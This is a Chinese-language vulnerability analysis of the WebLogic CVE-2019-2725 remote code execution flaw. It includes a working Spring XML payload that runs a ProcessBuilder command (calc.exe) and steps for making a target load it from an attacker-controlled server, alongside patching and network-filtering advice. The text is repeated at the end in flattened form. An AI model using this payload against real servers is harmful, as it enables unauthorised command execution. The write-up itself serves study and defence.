Weblogic-CVE-2019-2725-通杀payload
字数 1679 2025-08-18 11:38:36

Weblogic CVE-2019-2725漏洞分析与利用

0x01 漏洞概述

CVE-2019-2725是Weblogic中的一个远程代码执行漏洞,攻击者可以通过构造特定的XML请求在目标服务器上执行任意命令。该漏洞利用了Weblogic对XML反序列化的不当处理,特别是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext类加载恶意XML配置文件来实现命令执行。

0x02 技术背景

该漏洞的利用方式与CVE-2017-17485类似,都是通过Spring框架的FileSystemXmlApplicationContext加载恶意XML文件。Weblogic中包含了重新打包的Spring框架类(com.bea.core.repackaged.springframework),这使得类似的攻击向量可以在Weblogic中实现。

0x03 漏洞分析

关键类分析

  1. FileSystemXmlApplicationContext:

    • 位于com.bea.core.repackaged.springframework.context.support包中
    • 继承自AbstractXmlApplicationContext
    • 用于从文件系统加载XML格式的Spring配置文件
  2. BeanDefinitionValueResolver:

    • 位于com.bea.core.repackaged.springframework.beans.factory.support包中
    • 负责解析bean定义中的值

与CVE-2017-17485的区别

  1. 在Weblogic的实现中,缺少了表达式解析方法Object valueObject=evaluate(TypedStringValue)
  2. 无法直接使用SpEL表达式(如#{pb.start()})来操作bean
  3. 需要通过其他方式触发命令执行

0x04 漏洞利用

利用方法

由于无法使用SpEL表达式,可以采用init-method方式来触发命令执行。Spring容器初始化bean时支持三种方式定义初始化和销毁操作:

  1. 通过@PostConstruct@PreDestroy注解
  2. 在XML中定义init-methoddestroy-method方法
  3. 通过bean实现InitializingBeanDisposableBean接口

有效Payload构造

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>calc.exe</value>
            </list>
        </constructor-arg>
    </bean>
</beans>

利用步骤

  1. 构造上述恶意XML文件
  2. 将文件放置在攻击者可控的Web服务器上
  3. 向目标Weblogic服务器发送请求,触发其加载该XML文件
  4. Web服务器会解析XML并执行ProcessBuilderstart方法

0x05 测试验证

可以通过以下简单的Java程序验证init-method的工作原理:

测试类:

public class TestInitMethod {
    public void testInit() {
        System.out.println("test init-method");
    }
}

配置文件(spring.xml):

<bean id="testInitMethod" class="com.TestInitMethod" init-method="testInit"></bean>

主程序:

public class Main {
    public static void main(String[] args) {
        ClassPathXmlApplicationContext context1 = new ClassPathXmlApplicationContext("spring.xml");
    }
}

执行后会输出: test init-method,证明init-method确实会在bean初始化时被调用。

0x06 限制条件

  1. 目标服务器需要能够访问攻击者控制的Web服务器以下载恶意XML文件
  2. 如果服务器无法主动发起外部请求,则此方法无效
  3. 需要知道Weblogic的特定端点来触发XML加载

0x07 防御措施

  1. 及时安装Oracle官方发布的安全补丁
  2. 限制Weblogic服务器对外部网络的访问
  3. 监控和过滤可疑的XML请求
  4. 使用Web应用防火墙(WAF)拦截恶意请求

0x08 总结

CVE-2019-2725漏洞利用了Weblogic中重新打包的Spring框架的XML解析功能,通过精心构造的XML文件可以实现远程代码执行。虽然与CVE-2017-17485类似,但由于缺少SpEL表达式支持,需要使用init-method等替代方法来实现命令执行。该漏洞的危害性较高,需要及时修补。

Weblogic CVE-2019-2725漏洞分析与利用 0x01 漏洞概述 CVE-2019-2725是Weblogic中的一个远程代码执行漏洞,攻击者可以通过构造特定的XML请求在目标服务器上执行任意命令。该漏洞利用了Weblogic对XML反序列化的不当处理,特别是通过 com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext 类加载恶意XML配置文件来实现命令执行。 0x02 技术背景 该漏洞的利用方式与CVE-2017-17485类似,都是通过Spring框架的 FileSystemXmlApplicationContext 加载恶意XML文件。Weblogic中包含了重新打包的Spring框架类( com.bea.core.repackaged.springframework ),这使得类似的攻击向量可以在Weblogic中实现。 0x03 漏洞分析 关键类分析 FileSystemXmlApplicationContext : 位于 com.bea.core.repackaged.springframework.context.support 包中 继承自 AbstractXmlApplicationContext 用于从文件系统加载XML格式的Spring配置文件 BeanDefinitionValueResolver : 位于 com.bea.core.repackaged.springframework.beans.factory.support 包中 负责解析bean定义中的值 与CVE-2017-17485的区别 在Weblogic的实现中,缺少了表达式解析方法 Object valueObject=evaluate(TypedStringValue) 无法直接使用SpEL表达式(如 #{pb.start()} )来操作bean 需要通过其他方式触发命令执行 0x04 漏洞利用 利用方法 由于无法使用SpEL表达式,可以采用 init-method 方式来触发命令执行。Spring容器初始化bean时支持三种方式定义初始化和销毁操作: 通过 @PostConstruct 和 @PreDestroy 注解 在XML中定义 init-method 和 destroy-method 方法 通过bean实现 InitializingBean 和 DisposableBean 接口 有效Payload构造 利用步骤 构造上述恶意XML文件 将文件放置在攻击者可控的Web服务器上 向目标Weblogic服务器发送请求,触发其加载该XML文件 Web服务器会解析XML并执行 ProcessBuilder 的 start 方法 0x05 测试验证 可以通过以下简单的Java程序验证 init-method 的工作原理: 测试类 : 配置文件(spring.xml) : 主程序 : 执行后会输出: test init-method ,证明 init-method 确实会在bean初始化时被调用。 0x06 限制条件 目标服务器需要能够访问攻击者控制的Web服务器以下载恶意XML文件 如果服务器无法主动发起外部请求,则此方法无效 需要知道Weblogic的特定端点来触发XML加载 0x07 防御措施 及时安装Oracle官方发布的安全补丁 限制Weblogic服务器对外部网络的访问 监控和过滤可疑的XML请求 使用Web应用防火墙(WAF)拦截恶意请求 0x08 总结 CVE-2019-2725漏洞利用了Weblogic中重新打包的Spring框架的XML解析功能,通过精心构造的XML文件可以实现远程代码执行。虽然与CVE-2017-17485类似,但由于缺少SpEL表达式支持,需要使用 init-method 等替代方法来实现命令执行。该漏洞的危害性较高,需要及时修补。